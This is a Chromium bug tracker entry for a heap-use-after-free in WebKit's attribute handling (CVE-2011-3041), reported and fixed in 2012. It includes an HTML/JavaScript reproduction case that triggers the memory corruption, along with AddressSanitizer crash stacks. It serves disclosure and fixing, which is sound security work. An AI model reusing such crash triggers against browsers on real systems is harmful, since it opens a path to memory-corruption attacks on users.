New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Feb 2012
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment
link

Issue 114068: Heap-use-after-free in WebCore::HTMLElement::isPresentationAttribute

Reported by miau...@gmail.com, Feb 13 2012

Issue description

VULNERABILITY DETAILS
use-after-free in Element::attributeChanged

VERSION
Chrome Version: stable beta dev

Chromium	19.0.1040.0 (Developer Build 121661)
OS	Linux
WebKit	535.21 (@107445)

Operating System: 64bit linux

REPRODUCTION CASE
<html>
  <head>
    <style>
      #el2 {
        display: block;
        border-bottom-style: ridge;
        border-left-style: ridge;
      }
    </style>
    <script>
      onload = function() {
        el0=document.createElement('table')
        document.body.appendChild(el0)
        el1=document.createElement('div')
        document.body.appendChild(el1)
        el1.appendChild(document.createTextNode('A'))
        el2=document.createElement('s')
        el2.setAttribute('id','el2')
        el2.setAttribute('class', '')
        el1.appendChild(el2)
        document.body.appendChild(el2)
        el2.addEventListener('DOMSubtreeModified', function(){ el2.removeAttribute('class') }, false)
        document.body.removeChild(el0)
        document.designMode='on'
        document.execCommand('selectall')
        document.execCommand('insertText', false, '')
        document.execCommand('Undo')
      }
    </script>
  </head>
  <body>
  </body>
</html>

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: renderer + asan
Crash State: 

==16571== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffe8077688 at pc 0x55555996ea74 bp 0x7fffffff82c0 sp 0x7fffffff82b8
READ of size 8 at 0x7fffe8077688 thread T0
    #0 0x55555996ea74 in WebCore::Element::attributeChanged(WebCore::Attribute*) ???:0
    #1 0x5555599a3323 in WebCore::NamedNodeMap::setAttributes(WebCore::NamedNodeMap const&) ???:0
    #2 0x55555aa0ccf3 in WebCore::swapInNodePreservingAttributesAndChildren(WebCore::HTMLElement*, WebCore::HTMLElement*) third_party/WebKit/

0x7fffe8077688 is located 8 bytes inside of 24-byte region [0x7fffe8077680,0x7fffe8077698)
freed by thread T0 here:
    #0 0x55555da8f322 in free ??:0
    #1 0x555559979f2b in WebCore::Element::removeAttribute(WTF::String const&) ???:0
    #2 0x55555b06ea0c in WebCore::ElementInternal::removeAttributeCallback(v8::Arguments const&) out/Release/obj/gen/webkit/bindings/
 
824.txt
12.1 KB View Download
824.html
964 bytes View Download
beta-824.txt
12.3 KB View Download
stable-824.txt
12.7 KB View Download

Comment 1 by tsepez@chromium.org, Feb 13 2012

Labels: -Area-Undefined Area-WebKit SecSeverity-Medium SecImpacts-Stable SecImpacts-Beta Mstone-18

Comment 3 by tsepez@chromium.org, Feb 13 2012

Status: Available

Comment 4 by infe...@chromium.org, Feb 14 2012

Summary: Heap-use-after-free in WebCore::HTMLElement::isPresentationAttribute
Detailed report: https://cluster-fuzz.appspot.com/testcase?key=20173015

Uploader: inferno@chromium.org

Crash Type: Heap-use-after-free READ 8
Crash Address: 0x7f294a5bd388
Crash State:
  - crash stack -
  WebCore::HTMLElement::isPresentationAttribute
  WebCore::StyledElement::attributeChanged
  - free stack -
  WebCore::Element::removeAttribute
  WebCore::ElementInternal::removeAttributeCallback
  
Regressed: https://cluster-fuzz.appspot.com/revisions?range=121698:121709

Minimized Testcase (0.84 Kb): https://cluster-fuzz.appspot.com/download/AMIfv94e8-2qiuIMGeMJFqYLKiE4aU2uHioNVohTTQzS7BqCb4bI-zohVIiVSlnJ18DUkAxmaanAQ-v5UhrynwuaKN_cwvSJrTZtyvjtGp2ti0oebv5s_le3ayyu_KangP1jIJnnmfX1wzXedWEpY9n9LuG8J1yu9g

Comment 5 by infe...@chromium.org, Feb 14 2012

ignore regression range on CF, this bug changes stack after kling@'s changeset.

Comment 6 by infe...@chromium.org, Feb 14 2012

Labels: -Mstone-18 Mstone-17
SecImpacts Stable is M17

Comment 7 by infe...@chromium.org, Feb 14 2012

Labels: -Pri-0 -SecSeverity-Medium Pri-1 SecSeverity-High Stability-AddressSanitizer OS-All
fixing severity.

Comment 8 by infe...@chromium.org, Feb 14 2012

Owner: infe...@chromium.org
Status: Started

Comment 9 by infe...@chromium.org, Feb 14 2012

Cc: rniwa@chromium.org adamk@chromium.org
We need to uptake some functional fixes to retain correct behavior after my security fix. e.g.  http://trac.webkit.org/changeset/103611. Adam (adamk@), can you please check if there were more dependencies ? 

Chris, AFTER Merging, please do run fast/dom/getElementsByClassName/015.html to make sure PASS is displayed. otherwise, we might need to merge more functional fixes.

Comment 10 by infe...@chromium.org, Feb 14 2012

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Merge-Approved
Status: FixUnreleased
http://trac.webkit.org/changeset/107726

Comment 11 by scarybea...@gmail.com, Feb 14 2012

Labels: reward-topanel

Comment 12 by scarybea...@gmail.com, Mar 2 2012

Labels: -Merge-Approved Merge-Merged
fast/dom/getElementsByClassName/015.html PASS
M17: http://trac.webkit.org/changeset/109477
M18: http://trac.webkit.org/changeset/109479

Comment 13 by scarybea...@gmail.com, Mar 3 2012

Labels: -reward-topanel reward-1000 reward-unpaid
$1000

----
Boilerplate text:
Please do NOT publicly disclose details until a fix has been released to all our
users. Early public disclosure may cancel the provisional reward.
Also, please be considerate about disclosure when the bug affects a core library
that may be used by other products.
Please do NOT share this information with third parties who are not directly
involved in fixing the bug. Doing so may cancel the provisional reward.
Please be honest if you have already disclosed anything publicly or to third parties.
----

Comment 14 by scarybea...@gmail.com, Mar 3 2012

Labels: CVE-2011-3041

Comment 15 by scarybea...@gmail.com, Mar 28 2012

Labels: -reward-unpaid

Comment 16 by cdn@chromium.org, May 15 2012

Status: Fixed
Marking old security bugs Fixed..

Comment 17 by bugdroid1@chromium.org, Oct 13 2012

Project Member
Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.

Comment 18 by bugdroid1@chromium.org, Mar 10 2013

Project Member
Labels: -Type-Security -Area-WebKit -SecSeverity-High -SecImpacts-Stable -SecImpacts-Beta -Mstone-17 -Stability-AddressSanitizer Cr-Content Security-Impact-Stable Security-Impact-Beta Security-Severity-High Type-Bug-Security M-17 Performance-Memory-AddressSanitizer

Comment 19 by bugdroid1@chromium.org, Mar 13 2013

Project Member
Labels: Restrict-View-EditIssue

Comment 20 by bugdroid1@chromium.org, Mar 13 2013

Project Member
Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue

Comment 21 by scarybea...@gmail.com, Mar 21 2013

Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue

Comment 22 by bugdroid1@chromium.org, Mar 21 2013

Project Member
Labels: -Security-Severity-High Security_Severity-High

Comment 23 by bugdroid1@chromium.org, Mar 21 2013

Project Member
Labels: -Security-Impact-Stable Security_Impact-Stable

Comment 24 by bugdroid1@chromium.org, Mar 21 2013

Project Member
Labels: -Security-Impact-Beta Security_Impact-Beta

Comment 25 by bugdroid1@chromium.org, Apr 1 2013

Project Member
Labels: -Performance-Memory-AddressSanitizer Stability-Memory-AddressSanitizer

Comment 26 by bugdroid1@chromium.org, Apr 6 2013

Project Member
Labels: -Cr-Content Cr-Blink

Comment 27 by sheriffbot@chromium.org, Jun 14 2016

Project Member
Labels: -security_impact-beta

Comment 28 by sheriffbot@chromium.org, Oct 1 2016

Project Member
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 29 by sheriffbot@chromium.org, Oct 2 2016

Project Member
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 30 by mbarbe...@chromium.org, Oct 2 2016

Labels: allpublic

Comment 31 by awhalley@chromium.org, Apr 25 2018

Labels: CVE_description-submitted

Sign in to add a comment